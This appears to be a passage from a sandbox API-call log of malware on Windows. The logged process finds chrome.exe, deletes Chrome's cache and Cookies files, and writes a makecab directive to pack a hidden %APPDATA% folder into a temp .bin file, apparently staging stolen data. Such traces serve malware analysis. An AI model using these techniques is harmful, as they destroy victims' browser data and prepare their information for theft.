1 [0118.388] lstrcmpiW (lpString1="chartspresently.exe", lpString2="chrome.exe") returned -1 [0118.388] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="ir grey.exe")) returned 1 [0118.389] lstrcmpiW (lpString1="ir grey.exe", lpString2="chrome.exe") returned 1 [0118.389] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="know.exe")) returned 1 [0118.390] lstrcmpiW (lpString1="know.exe", lpString2="chrome.exe") returned 1 [0118.390] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="requirement_float_disability.exe")) returned 1 [0118.391] lstrcmpiW (lpString1="requirement_float_disability.exe", lpString2="chrome.exe") returned 1 [0118.391] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="licenses_miss.exe")) returned 1 [0118.392] lstrcmpiW (lpString1="licenses_miss.exe", lpString2="chrome.exe") returned 1 [0118.392] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0118.393] lstrcmpiW (lpString1="WmiPrvSE.exe", lpString2="chrome.exe") returned 1 [0118.393] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0118.395] lstrcmpiW (lpString1="iexplore.exe", lpString2="chrome.exe") returned 1 [0118.395] Process32NextW (in: hSnapshot=0xa90, lppe=0x6b0f400 | out: lppe=0x6b0f400*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb70, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome.exe")) returned 1 [0118.434] lstrcmpiW (lpString1="chrome.exe", lpString2="chrome.exe") returned 0 [0118.435] CloseHandle (hObject=0xa90) returned 1 [0118.435] OpenProcess (dwDesiredAccess=0x1, bInheritHandle=0, dwProcessId=0xbd4) returned 0x0 [0118.435] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dc50 | out: hHeap=0x9770000) returned 1 [0118.435] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\") returned 70 [0118.435] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6fa00 [0118.435] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x96) returned 0x9770ed0 [0118.435] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9b6fc10 [0118.435] PathCombineW (in: pszDest=0x9770ed0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0118.435] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbcbc9d0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1e9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe1e9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName=".", cAlternateFileName="")) returned 0x4466880 [0118.435] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xbcbc9d0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1e9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe1e9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="..", cAlternateFileName="")) returned 1 [0118.435] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe1c2d0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1c2d0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe1c2d0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="data_0", cAlternateFileName="")) returned 1 [0118.435] lstrlenW (lpString="data_0") returned 6 [0118.435] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="data_0" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" [0118.435] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_0" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_0")) returned 1 [0118.436] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe1c2d0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1c2d0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xe142390, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="data_1", cAlternateFileName="")) returned 1 [0118.436] lstrlenW (lpString="data_1") returned 6 [0118.436] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="data_1" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" [0118.436] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1")) returned 1 [0118.436] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe1c2d0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1c2d0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe1c2d0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="data_2", cAlternateFileName="")) returned 1 [0118.436] lstrlenW (lpString="data_2") returned 6 [0118.436] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="data_2" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" [0118.436] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2")) returned 1 [0118.436] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbe1e9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbe1e9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe1e9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="data_3", cAlternateFileName="")) returned 1 [0118.437] lstrlenW (lpString="data_3") returned 6 [0118.437] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="data_3" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" [0118.437] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_3")) returned 1 [0118.437] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcc3f00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbcc3f00, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe19bc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="index", cAlternateFileName="")) returned 1 [0118.437] lstrlenW (lpString="index") returned 5 [0118.437] PathCombineW (in: pszDest=0x9b6fa00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\", pszFile="index" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" [0118.437] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index")) returned 1 [0118.437] FindNextFileW (in: hFindFile=0x4466880, lpFindFileData=0x9b6fc10 | out: lpFindFileData=0x9b6fc10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbcc3f00, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xbcc3f00, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xbe19bc0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x450000, dwReserved1=0x410054, cFileName="index", cAlternateFileName="")) returned 0 [0118.437] FindClose (in: hFindFile=0x4466880 | out: hFindFile=0x4466880) returned 1 [0118.437] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fc10 | out: hHeap=0x9770000) returned 1 [0118.438] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770ed0 | out: hHeap=0x9770000) returned 1 [0118.438] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fa00 | out: hHeap=0x9770000) returned 1 [0118.438] lstrcpyW (in: lpString1=0x9770cb0, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local") returned="C:\\Users\\aETAdzjz\\AppData\\Local" [0118.438] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local", lpString2="\\Google\\Chrome\\User Data\\Default\\Cookies" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" [0118.438] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 0x2020 [0118.447] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\cookies")) returned 1 [0118.447] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770cb0 | out: hHeap=0x9770000) returned 1 [0118.447] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770a90 | out: hHeap=0x9770000) returned 1 [0118.447] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6dcb0 | out: hHeap=0x9770000) returned 1 Thread: id = 226 os_tid = 0x954 Thread: id = 227 os_tid = 0x9a4 Thread: id = 228 os_tid = 0x9e4 Thread: id = 236 os_tid = 0x970 [0100.714] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0100.714] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6fe70 [0100.714] mbstowcs (in: _Dest=0x9b6fe70, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0100.714] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0100.714] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6fef0 [0100.714] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9b6fef0, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0100.714] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fe70 | out: hHeap=0x9770000) returned 1 [0100.718] GetProcAddress (hModule=0x7fefdb70000, lpProcName=0x5c) returned 0x7fefddb33dc [0100.731] PathGetShortPath (in: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: pszLongPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") [0100.731] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0100.731] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0100.731] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x34) returned 0x9a6e760 [0100.732] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", cchWideChar=51, lpMultiByteStr=0x9a6e760, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpUsedDefaultChar=0x0) returned 51 [0100.732] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fef0 | out: hHeap=0x9770000) returned 1 [0100.732] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0100.732] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="PathIsDirectoryEmptyA") returned 0x7fefd5e8ca0 [0100.739] PathIsDirectoryEmptyA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 0 [0100.739] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0100.739] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9a6ea40 [0100.739] GetTempPathA (in: nBufferLength=0x26, lpBuffer=0x9a6ea40 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0100.739] GetTickCount () returned 0x26103 [0100.739] GetTempFileNameA (in: lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x1152855, lpTempFileName=0x9a6ea40 | out: lpTempFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.tmp")) returned 0x2855 [0100.739] PathFindExtensionA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.tmp") returned=".tmp" [0100.739] lstrcpyA (in: lpString1=0x9a6ea69, lpString2=".bin" | out: lpString1=".bin") returned=".bin" [0100.739] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0100.739] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x3f) returned 0x9b6dd20 [0100.739] lstrcpyA (in: lpString1=0x9b6dd20, lpString2="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" [0100.739] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpEnd=0x0, wMatch=0x5c) returned="\\{F5FB2~1" [0100.739] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0100.739] GetTempPathA (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x26 [0100.739] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x43) returned 0x9b6fe70 [0100.739] GetTempPathA (in: nBufferLength=0x26, lpBuffer=0x9b6fe70 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0100.739] GetTickCount () returned 0x26103 [0100.739] GetTempFileNameA (in: lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpPrefixString=0x0, uUnique=0x1151fb1, lpTempFileName=0x9b6fe70 | out: lpTempFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1fb1.tmp")) returned 0x1fb1 [0100.739] PathFindExtensionA (pszPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.tmp") returned=".tmp" [0100.739] lstrcpyA (in: lpString1=0x9b6fe99, lpString2=".bin" | out: lpString1=".bin") returned=".bin" [0100.740] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin") returned 45 [0100.740] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x41) returned 0x9b6fec0 [0100.740] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a91d90 [0100.740] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\1FB1.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\1fb1.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5d0 [0100.740] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin", lpEnd=0x0, wMatch=0x5c) returned="\\2855.bin" [0100.740] wsprintfA (in: param_1=0x9a91d90, param_2=".set MaxDiskSize=0\r\n.set DiskDirectory1=\"%s\"\r\n" | out: param_1=".set MaxDiskSize=0\r\n.set DiskDirectory1=\"C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\"\r\n") returned 80 [0100.740] WriteFile (in: hFile=0x5d0, lpBuffer=0x9a91d90*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x54ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x9a91d90*, lpNumberOfBytesWritten=0x54ef6c8*=0x50, lpOverlapped=0x0) returned 1 [0100.741] wsprintfA (in: param_1=0x9a91d90, param_2=".set CabinetName1=\"%s\"\r\n" | out: param_1=".set CabinetName1=\"2855.bin\"\r\n") returned 30 [0100.741] WriteFile (in: hFile=0x5d0, lpBuffer=0x9a91d90*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x54ef6c8, lpOverlapped=0x0 | out: lpBuffer=0x9a91d90*, lpNumberOfBytesWritten=0x54ef6c8*=0x1e, lpOverlapped=0x0) returned 1 [0100.741] GetFileAttributesA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\micros~1\\{f5fb2~1")) returned 0x2010 [0100.741] lstrlenA (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 51 [0100.741] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x6a) returned 0x9b6ff10 [0100.741] mbstowcs (in: _Dest=0x9b6ff10, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", _MaxCount=0x34 | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1") returned 0x33 [0100.741] lstrcatW (in: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1", lpString2="\\" | out: lpString1="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\" [0100.741] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x250) returned 0x9a92da0 [0100.741] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x35 [0100.741] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x6a) returned 0x9a93000 [0100.741] ExpandEnvironmentStringsW (in: lpSrc="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\", lpDst=0x9a93000, nSize=0x35 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\") returned 0x35 [0100.741] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\") returned 52 [0100.741] lstrlenW (lpString="*.*") returned 3 [0100.741] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9a93080 [0100.741] PathCombineW (in: pszDest=0x9a93080, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\", pszFile="*.*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*.*" [0100.741] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\*.*", lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4466940 [0100.742] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.742] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.742] FindNextFileW (in: hFindFile=0x4466940, lpFindFileData=0x9a92da0 | out: lpFindFileData=0x9a92da0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe3ef5a80, ftCreationTime.dwHighDateTime=0x1d51ed4, ftLastAccessTime.dwLowDateTime=0xe3ef5a80, ftLastAccessTime.dwHighDateTime=0x1d51ed4, ftLastWriteTime.dwLowDateTime=0xe3ef5a80, ftLastWriteTime.dwHighDateTime=0x1d51ed4, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="01D51ED4E3ECF92009", cAlternateFileName="01D51E~1")) returned 1 [0100.742] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.742] lstrlenW (lpString="01D51ED4E3ECF92009") returned 18 [0100.742] lstrlenW (lpString="*.*") returned 3 [0100.742] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xe6) returned 0x9a93290 [0100.742] wcscpy (in: _Dest=0x9a932b8, _Source="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\MICROS~1\\{F5FB2~1\\" [0100.742] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrRChrW") returned 0x7fefd5cb85c [0100.742] StrRChrW 